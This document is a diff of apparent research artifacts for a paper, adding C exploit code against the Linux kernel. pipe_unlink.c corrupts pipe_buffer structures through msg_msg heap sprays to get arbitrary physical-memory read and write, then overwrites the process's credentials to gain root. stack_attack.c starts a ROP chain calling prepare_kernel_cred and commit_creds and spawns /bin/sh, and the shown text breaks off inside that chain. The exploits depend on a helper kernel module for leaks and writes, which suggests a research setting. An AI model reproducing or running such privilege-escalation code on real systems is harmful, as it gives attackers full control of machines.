printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
|
||||
for (size_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
if (i == page_fd)
|
||||
continue;
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 8);
|
||||
if (buffer[1] != 0x41) {
|
||||
printf("[*] *buffer %016zx\n", *(size_t *)buffer);
|
||||
arbrw_fd = i;
|
||||
printf("[+] found pipe_buffer fd for arbrw %4zd\n", arbrw_fd);
|
||||
}
|
||||
}
|
||||
if (arbrw_fd == (size_t)-1) {
|
||||
printf("[!] arbrw_fd not found\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void arbr_phys(size_t paddr, size_t *addr)
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE);
|
||||
|
||||
cor_pipe_buffer->len = 8+__MSG_SIZE;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
|
||||
next_cor_pipe_buffer->len = paddr % PAGE_SIZE;
|
||||
next_cor_pipe_buffer->offset = PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
read_pipe_no_err(pipes[arbrw_fd][0], (char *)addr, 8);
|
||||
}
|
||||
|
||||
void arbw_phys(size_t paddr, size_t value)
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE);
|
||||
|
||||
cor_pipe_buffer->len = 8+__MSG_SIZE;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
|
||||
next_cor_pipe_buffer->len = 0;
|
||||
next_cor_pipe_buffer->offset = paddr % PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
write_pipe_no_err(pipes[arbrw_fd][1], (char *)&value, 8);
|
||||
}
|
||||
|
||||
void stage5(void)
|
||||
{
|
||||
char this_comm[256] = {0};
|
||||
int fd = open("/proc/self/comm", O_RDONLY);
|
||||
int n = read(fd, this_comm, sizeof(this_comm)-1);
|
||||
this_comm[n-1] = 0;
|
||||
unsigned int this_pid = getpid();
|
||||
unsigned int this_gtid = gettid();
|
||||
printf("[*] this process %s [%d,%d]\n", this_comm, this_pid, this_gtid);
|
||||
size_t p_current = 0;
|
||||
for (size_t pa = 0; pa < (32ULL << 30) && p_current == 0; pa += (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER)) {
|
||||
for (size_t _pa = pa; _pa < pa + (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER) && p_current == 0; _pa += TASK_STRUCT_SIZE) {
|
||||
char comm[9] = {0};
|
||||
size_t potential_task_struct_comm = _pa + TASK_STRUCT_COMM_OFFSET;
|
||||
// printf("[*] _pa %016zx\n", _pa);
|
||||
arbr_phys(potential_task_struct_comm, (size_t *)comm);
|
||||
if (!strncmp(comm, this_comm, 8)) {
|
||||
size_t tmp;
|
||||
|
||||
unsigned int pid;
|
||||
size_t potential_task_struct_pid = _pa + TASK_STRUCT_PID_OFFSET;
|
||||
arbr_phys(potential_task_struct_pid, (size_t *)&tmp);
|
||||
pid = (unsigned int)tmp;
|
||||
|
||||
unsigned int gtid;
|
||||
size_t potential_task_struct_tgid = _pa + TASK_STRUCT_TGID_OFFSET;
|
||||
arbr_phys(potential_task_struct_tgid, (size_t *)&tmp);
|
||||
gtid = (unsigned int)tmp;
|
||||
if (pid != this_pid || gtid != this_gtid) {
|
||||
// printf("[*] same comm %s but different [%d,%d] != [%d,%d]\n", comm, pid, gtid, this_pid, this_gtid);
|
||||
continue;
|
||||
}
|
||||
|
||||
p_current = _pa;
|
||||
printf("[+] found %s [%d,%d] at %016zx\n", comm, pid, gtid, p_current+dpm_base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
size_t cred;
|
||||
arbr_phys(p_current+TASK_STRUCT_CRED_OFFSET, (size_t *)&cred);
|
||||
printf("[+] found cred %016zx\n", cred);
|
||||
size_t p_cred = cred-dpm_base;
|
||||
arbw_phys(p_cred+CRED_UID_GID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_SUID_SGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_EUID_EGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_FSUID_FSGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_CAP_INHERITABLE_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_PERMITTED_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_EFFECTIVE_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_BSET_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_AMBIENT_OFFSET, -1);
|
||||
|
||||
if (getuid() == 0 && getgid() == 0)
|
||||
printf("[+] success: uid %d gid %d\n", getuid(), getgid());
|
||||
else
|
||||
printf("[!] no success\n");
|
||||
// int ret = system("/bin/sh");
|
||||
// if (ret < 0) {
|
||||
// perror("system");
|
||||
// exit(-1);
|
||||
// }
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int ret = 0;
|
||||
pin_to_core(0);
|
||||
set_limit();
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
lkm_init();
|
||||
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
lkm_code_leak((size_t)&code_base);
|
||||
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
|
||||
printf("[*] dpm_base %016zx\n", dpm_base);
|
||||
printf("[*] code_base %016zx\n", code_base);
|
||||
|
||||
stage1();
|
||||
stage2();
|
||||
stage3();
|
||||
stage4();
|
||||
stage5();
|
||||
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
printf("[*] done\n");
|
||||
return ret;
|
||||
}
|
421
paper/artifacts/attacks/pipe_unlink.c
Normal file
421
paper/artifacts/attacks/pipe_unlink.c
Normal file
|
@ -0,0 +1,421 @@
|
|||
#include "utils.h"
|
||||
#include "ulkm.h"
|
||||
#include "msg_msg.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
#include <assert.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0
|
||||
|
||||
#define RESTORE
|
||||
// #define DEBUG
|
||||
|
||||
#define TASK_STRUCT_SLAB_ORDER 3
|
||||
#define TASK_STRUCT_SIZE 10496
|
||||
#define TASK_STRUCT_COMM_OFFSET 3008
|
||||
#define TASK_STRUCT_PID_OFFSET 2464
|
||||
#define TASK_STRUCT_TGID_OFFSET 2468
|
||||
#define TASK_STRUCT_REAL_CRED_OFFSET 2984
|
||||
#define TASK_STRUCT_CRED_OFFSET 2992
|
||||
|
||||
#define CRED_UID_GID_OFFSET 8
|
||||
#define CRED_SUID_SGID_OFFSET 16
|
||||
#define CRED_EUID_EGID_OFFSET 24
|
||||
#define CRED_FSUID_FSGID_OFFSET 32
|
||||
#define CRED_CAP_INHERITABLE_OFFSET 48
|
||||
#define CRED_CAP_PERMITTED_OFFSET 56
|
||||
#define CRED_CAP_EFFECTIVE_OFFSET 64
|
||||
#define CRED_CAP_BSET_OFFSET 72
|
||||
#define CRED_CAP_AMBIENT_OFFSET 80
|
||||
|
||||
#define PAGE_SIZE (1<<12)
|
||||
|
||||
#define MSG_SPRAYS (1<<10)
|
||||
#define MSG_FREE (MSG_SPRAYS*3/4)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define __MSG_SIZE 1024
|
||||
#define MSG_SIZE (__MSG_SIZE-MSG_HEADER)
|
||||
|
||||
#define PIPE_SPRAY (1<<6)
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 16
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
|
||||
size_t vmemmap_base;
|
||||
size_t dpm_base;
|
||||
size_t code_base;
|
||||
|
||||
size_t msg_msg;
|
||||
|
||||
char buffer[0x1000];
|
||||
char page_content[sizeof(buffer)];
|
||||
char page_content_org[sizeof(buffer)];
|
||||
|
||||
int pipes[PIPE_SPRAY][2];
|
||||
|
||||
void cleanup(void)
|
||||
{
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i) {
|
||||
cleanup_queue(qids[i]);
|
||||
}
|
||||
}
|
||||
|
||||
size_t pipe_buffer;
|
||||
void stage1(void)
|
||||
{
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] alloc msg_queue\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] alloc msg_msg\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
|
||||
printf("[+] leaked msg_msg %016zx\n", msg_msg);
|
||||
|
||||
printf("[*] free msg_msg\n");
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
// free all all but 1 of the current slab
|
||||
// creates all free slots on the slot except one
|
||||
// except one because to prevent returning the partial slab to the page allocator (unlikely but may be)
|
||||
for (ssize_t i = -32; i < 31; ++i)
|
||||
get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT);
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
printf("[*] reclaimed as pipe_buffer\n");
|
||||
pipe_buffer = msg_msg & ~0xfff;
|
||||
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] msg_msg:\n");
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(msg_msg+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t adjacent_pipe_buffer;
|
||||
size_t vmemmap_pipe_buffer;
|
||||
#ifdef RESTORE
|
||||
size_t old_deref_pipe_buffer;
|
||||
size_t old_deref_vmemmap_pipe_buffer;
|
||||
void save_pipe_buffer_state(void)
|
||||
{
|
||||
lkm_read(pipe_buffer, (size_t)&old_deref_pipe_buffer);
|
||||
lkm_read(vmemmap_pipe_buffer+8, (size_t)&old_deref_vmemmap_pipe_buffer);
|
||||
printf("[*] temporarily store *pipe_buffer %016zx\n", old_deref_pipe_buffer);
|
||||
printf("[*] temporarily store *vmemmap_pipe_buffer %016zx\n", old_deref_vmemmap_pipe_buffer);
|
||||
}
|
||||
void restore_pipe_buffer_state(void)
|
||||
{
|
||||
printf("[*] restore store *pipe_buffer\n");
|
||||
printf("[*] restore store *vmemmap_pipe_buffer\n");
|
||||
lkm_write(pipe_buffer, old_deref_pipe_buffer);
|
||||
lkm_write(vmemmap_pipe_buffer+8, old_deref_vmemmap_pipe_buffer);
|
||||
}
|
||||
#else
|
||||
void save_pipe_buffer_state(void) {}
|
||||
void restore_pipe_buffer_state(void) {}
|
||||
#endif
|
||||
|
||||
#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base)
|
||||
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
|
||||
void stage2(void)
|
||||
{
|
||||
vmemmap_pipe_buffer = DPM_TO_VMEMMAP(pipe_buffer);
|
||||
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pipe_buffer);
|
||||
save_pipe_buffer_state();
|
||||
|
||||
// *(next + 8) = prev
|
||||
// *prev = next
|
||||
lkm_write(pipe_buffer, vmemmap_pipe_buffer);
|
||||
lkm_write(vmemmap_pipe_buffer+8, pipe_buffer);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base)
|
||||
void fix_pipe_page_content(char *pipe_page)
|
||||
{
|
||||
for (size_t i = 0; i < PAGE_SIZE; i += 8) {
|
||||
if (IS_VMEMMAP(*(size_t *)(pipe_page + i))) {
|
||||
if (i % 1024 == 0) {
|
||||
*(size_t *)(pipe_page + i + 0x08) = 0x0000100000000000;
|
||||
*(size_t *)(pipe_page + i + 0x10) = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
} else {
|
||||
*(size_t *)(pipe_page + i + 0x08) = 0x0000000000001000;
|
||||
*(size_t *)(pipe_page + i + 0x10) = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
size_t page_fd = -1;
|
||||
void stage3(void)
|
||||
{
|
||||
size_t count = 0;
|
||||
printf("[*] find overwritten pipe_buffer\n");
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 7);
|
||||
if (buffer[0] != 0x41) {
|
||||
buffer[7] = -1;
|
||||
count++;
|
||||
page_fd = i;
|
||||
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
|
||||
if (IS_VMEMMAP(*(size_t *)(buffer))) {
|
||||
printf("[+] found page %016zx\n", *(size_t *)(buffer));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (page_fd == (size_t)-1 || count != 1) {
|
||||
printf("[!] count %zd\n", count);
|
||||
printf("[!] page_fd %016zx\n", page_fd);
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
#define PIPE_OFFSET (__MSG_SIZE+PIPE_SIZE-8)
|
||||
size_t arbrw_fd = -1;
|
||||
struct pipe_buffer {
|
||||
size_t page;
|
||||
unsigned int len;
|
||||
unsigned int offset;
|
||||
size_t ops;
|
||||
unsigned int flags;
|
||||
size_t private;
|
||||
};
|
||||
void stage4(void)
|
||||
{
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
if (i == page_fd)
|
||||
continue;
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
|
||||
for (size_t i = 0; i < PIPE_SIZE*2; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
printf("[*] next pipe_buffer:\n");
|
||||
for (size_t i = 1024; i < 1024+PIPE_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+1024);
|
||||
|
||||
cor_pipe_buffer->len = 8;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = vmemmap_base;
|
||||
next_cor_pipe_buffer->len = 0;
|
||||
next_cor_pipe_buffer->offset = PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
|
||||
for (size_t i = 0; i < PIPE_SIZE*2; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
printf("[*] next pipe_buffer:\n");
|
||||
for (size_t i = 1024; i < 1024+PIPE_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
if (i == page_fd)
|
||||
continue;
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 8);
|
||||
if (buffer[1] != 0x41) {
|
||||
printf("[*] *buffer %016zx\n", *(size_t *)buffer);
|
||||
arbrw_fd = i;
|
||||
printf("[+] found pipe_buffer fd for arbrw %4zd\n", arbrw_fd);
|
||||
}
|
||||
}
|
||||
if (arbrw_fd == (size_t)-1) {
|
||||
printf("[!] arbrw_fd not found\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void arbr_phys(size_t paddr, size_t *addr)
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+1024);
|
||||
|
||||
cor_pipe_buffer->len = 8;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
|
||||
next_cor_pipe_buffer->len = paddr % PAGE_SIZE;
|
||||
next_cor_pipe_buffer->offset = PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
read_pipe_no_err(pipes[arbrw_fd][0], (char *)addr, 8);
|
||||
}
|
||||
|
||||
void arbw_phys(size_t paddr, size_t value)
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+1024);
|
||||
|
||||
cor_pipe_buffer->len = 8;
|
||||
cor_pipe_buffer->offset = -PIPE_OFFSET;
|
||||
cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
next_cor_pipe_buffer->page = PHYS_TO_VMEMMAP(paddr);
|
||||
next_cor_pipe_buffer->len = 0;
|
||||
next_cor_pipe_buffer->offset = paddr % PAGE_SIZE;
|
||||
next_cor_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
next_cor_pipe_buffer->flags = 0x10;
|
||||
|
||||
write_pipe_no_err(pipes[page_fd][1], buffer+8, PIPE_OFFSET);
|
||||
write_pipe_no_err(pipes[arbrw_fd][1], (char *)&value, 8);
|
||||
}
|
||||
|
||||
void stage5(void)
|
||||
{
|
||||
char this_comm[256] = {0};
|
||||
int fd = open("/proc/self/comm", O_RDONLY);
|
||||
int n = read(fd, this_comm, sizeof(this_comm)-1);
|
||||
this_comm[n-1] = 0;
|
||||
unsigned int this_pid = getpid();
|
||||
unsigned int this_gtid = gettid();
|
||||
printf("[*] this process %s [%d,%d]\n", this_comm, this_pid, this_gtid);
|
||||
size_t p_current = 0;
|
||||
for (size_t pa = 0; pa < (32ULL << 30) && p_current == 0; pa += (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER)) {
|
||||
for (size_t _pa = pa; _pa < pa + (PAGE_SIZE << TASK_STRUCT_SLAB_ORDER) && p_current == 0; _pa += TASK_STRUCT_SIZE) {
|
||||
char comm[9] = {0};
|
||||
size_t potential_task_struct_comm = _pa + TASK_STRUCT_COMM_OFFSET;
|
||||
// printf("[*] _pa %016zx\n", _pa);
|
||||
arbr_phys(potential_task_struct_comm, (size_t *)comm);
|
||||
if (!strncmp(comm, this_comm, 8)) {
|
||||
size_t tmp;
|
||||
|
||||
unsigned int pid;
|
||||
size_t potential_task_struct_pid = _pa + TASK_STRUCT_PID_OFFSET;
|
||||
arbr_phys(potential_task_struct_pid, (size_t *)&tmp);
|
||||
pid = (unsigned int)tmp;
|
||||
|
||||
unsigned int gtid;
|
||||
size_t potential_task_struct_tgid = _pa + TASK_STRUCT_TGID_OFFSET;
|
||||
arbr_phys(potential_task_struct_tgid, (size_t *)&tmp);
|
||||
gtid = (unsigned int)tmp;
|
||||
if (pid != this_pid || gtid != this_gtid) {
|
||||
// printf("[*] same comm %s but different [%d,%d] != [%d,%d]\n", comm, pid, gtid, this_pid, this_gtid);
|
||||
continue;
|
||||
}
|
||||
|
||||
p_current = _pa;
|
||||
printf("[+] found %s [%d,%d] at %016zx\n", comm, pid, gtid, p_current+dpm_base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
size_t cred;
|
||||
arbr_phys(p_current+TASK_STRUCT_CRED_OFFSET, (size_t *)&cred);
|
||||
printf("[+] found cred %016zx\n", cred);
|
||||
size_t p_cred = cred-dpm_base;
|
||||
arbw_phys(p_cred+CRED_UID_GID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_SUID_SGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_EUID_EGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_FSUID_FSGID_OFFSET, 0);
|
||||
arbw_phys(p_cred+CRED_CAP_INHERITABLE_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_PERMITTED_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_EFFECTIVE_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_BSET_OFFSET, -1);
|
||||
arbw_phys(p_cred+CRED_CAP_AMBIENT_OFFSET, -1);
|
||||
|
||||
if (getuid() == 0 && getgid() == 0)
|
||||
printf("[+] success: uid %d gid %d\n", getuid(), getgid());
|
||||
else
|
||||
printf("[!] no success\n");
|
||||
// int ret = system("/bin/sh");
|
||||
// if (ret < 0) {
|
||||
// perror("system");
|
||||
// exit(-1);
|
||||
// }
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int ret = 0;
|
||||
pin_to_core(0);
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
lkm_init();
|
||||
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
lkm_code_leak((size_t)&code_base);
|
||||
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
|
||||
printf("[*] dpm_base %016zx\n", dpm_base);
|
||||
printf("[*] code_base %016zx\n", code_base);
|
||||
|
||||
stage1();
|
||||
stage2();
|
||||
stage3();
|
||||
stage4();
|
||||
stage5();
|
||||
|
||||
restore_pipe_buffer_state();
|
||||
cleanup();
|
||||
printf("[*] done\n");
|
||||
return ret;
|
||||
}
|
210
paper/artifacts/attacks/stack_attack.c
Normal file
210
paper/artifacts/attacks/stack_attack.c
Normal file
|
@ -0,0 +1,210 @@
|
|||
#include "utils.h"
|
||||
#include "ulkm.h"
|
||||
#include "msg_msg.h"
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define MSG_SIZE (4096 - MSG_HEADER)
|
||||
#define MSG_TEXT_OFFSET 2048
|
||||
|
||||
#define SPRAY_THREADS 128
|
||||
#define RECLAIM_STACK_THREADS 256
|
||||
|
||||
#define STACK_SZ (4<<12)
|
||||
#define NEXT_STACK 16*STACK_SZ
|
||||
|
||||
// 0xffffffff818326ea: add rsp, 0x30; pop rbp; ret;
|
||||
#define ADD_RSP_0X38_RET_OFFSET 0x8326ea
|
||||
// 0xffffffff8184c11f: push rax; pop rbp; ret;
|
||||
#define PUSH_RAX_POP_RBP_RET_OFFSET 0x84c11f
|
||||
// 0xffffffff810e324c: mov rsp, rbp; pop rbp; ret;
|
||||
#define MOV_RSP_RBP_POP_RET_OFFSET 0xe324c
|
||||
// 0xffffffff810e32f0: pop rdi; ret;
|
||||
#define POP_RDI_RET_OFFSET 0xe32f0
|
||||
// 0xffffffff81608764: xchg rdi, rax; ret;
|
||||
#define XCHG_RDI_RAX_RET_OFFSET 0x608764
|
||||
|
||||
#define SWAPGS_POP_RET_OFFSET 0x140136c
|
||||
#define IRET_OFFSET 0x140183d
|
||||
#define FIND_TASK_BY_VPID_OFFSET 0x133020
|
||||
#define PREPARE_KERNEL_CRED_OFFSET 0x140d00
|
||||
#define COMMIT_CREDS_OFFSET 0x140780
|
||||
#define INIT_TASK_OFFSET 0x240fcc0
|
||||
#define INIT_CRED_OFFSET 0x2490220
|
||||
|
||||
size_t _text;
|
||||
size_t stack;
|
||||
size_t msg_msg;
|
||||
enum state
|
||||
{
|
||||
DO_LEAK,
|
||||
STACK_LEAKED,
|
||||
} state;
|
||||
|
||||
size_t user_cs;
|
||||
size_t user_ss;
|
||||
size_t user_sp;
|
||||
size_t user_rflags;
|
||||
void save_state(void)
|
||||
{
|
||||
__asm__ (
|
||||
".intel_syntax noprefix;"
|
||||
"mov user_cs, cs;"
|
||||
"mov user_ss, ss;"
|
||||
"mov user_sp, rsp;"
|
||||
"pushf;"
|
||||
"pop user_rflags;"
|
||||
".att_syntax;"
|
||||
);
|
||||
puts("[*] Saved state");
|
||||
}
|
||||
|
||||
void *leak_task(void *)
|
||||
{
|
||||
pin_to_core(1);
|
||||
lkm_stack_leak((size_t)&stack);
|
||||
stack += NEXT_STACK;
|
||||
printf("[+] leaked stack %016zx\n", stack);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void *spray_task(void *)
|
||||
{
|
||||
pin_to_core(2);
|
||||
sleep(-1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int empty_function(void *)
|
||||
{
|
||||
// pin_to_core(3);
|
||||
// sleep(-1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void shell(void)
|
||||
{
|
||||
// register size_t rax asm("rax");
|
||||
// printf("[*] rax %016zx\n", rax);
|
||||
printf("[+] uid %d gid %d\n", getuid(), getgid());
|
||||
// sleep(-1);
|
||||
int ret = system("/bin/sh");
|
||||
if (ret < 0) {
|
||||
perror("system");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void build_rop_chain(size_t *rop)
|
||||
{
|
||||
*rop++ = 0; // rbp
|
||||
*rop++ = POP_RDI_RET_OFFSET+_text;
|
||||
*rop++ = INIT_TASK_OFFSET+_text;
|
||||
*rop++ = PREPARE_KERNEL_CRED_OFFSET+_text;
|
||||
*rop++ = XCHG_RDI_RAX_RET_OFFSET+_text;
|
||||
*rop++ = COMMIT_CREDS_OFFSET+_text;
|
||||
*rop++ = SWAPGS_POP_RET_OFFSET+_text;
|
||||
*rop++ = 0; // rbp
|
||||
